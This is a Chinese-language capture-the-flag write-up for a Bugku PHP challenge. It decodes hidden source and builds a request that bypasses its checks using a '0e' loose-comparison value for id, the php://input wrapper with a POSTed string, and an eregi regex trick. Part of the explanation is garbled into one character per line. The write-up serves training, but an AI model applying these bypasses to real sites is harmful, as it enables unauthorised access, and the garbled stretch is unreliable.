解题思路:查看源代码发现1p.html,访问
http://114.67.246.176:19660/1p.html
跳转到另外一个页面。查看该页面源代码
view-source:http://114.67.246.176:19660/1p.html
得到一串特殊字符串
先进行url解码
将选中部分进行base64解码得到
最后再url解码得到
"if(!$_GET['id']) //如果无法通过get获得id变量
{
header('Location: hello.php?id=1');//跳转到hello.php文件设置id=1
exit(); //退出脚本。
}
$id=$_GET['id']; //通过get方式获得其他文件的id变量
$a=$_GET['a']; //通过get方式获得其他文件的a变量
$b=$_GET['b']; //通过get方式获得其他文件的b变量
if(stripos($a,'.')) //$a文件中不能有.
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); //将$a文件读入到data中
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
分析代码
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
$data=="bugku is a nice plateform!
i d = = 0 与 i f ( ! G E T ( ′ i d ′ ) 矛 盾 , 所 以 我 用 id==0与if(!GET('id')矛盾,所以我用 id==0与if(!GET(′id′)矛盾,所以我用id=0e123456绕过,id为其他也可以。
用$a=php://input通过php伪协议去绕过file_get_contents
b
的
长
度
大
于
5
,
e
r
e
g
i
(
"
111
"
.
s
u
b
s
t
r
(
b的长度大于5,eregi("111".substr(
b的长度大于5,eregi("111".substr(b,0,1),“1114”)这个函数是
b
的
正
则
匹
配
,
s
u
b
s
t
r
(
b的正则匹配,substr(
b的正则匹配,substr(b,0,1)!=4这个说明$b开头不能为4,所以我令,
$b=*123456
构造http://114.67.246.176:19660/?id=0e123456&a=php://input&b=*123456
在通过hackbar进行post请求,得到flag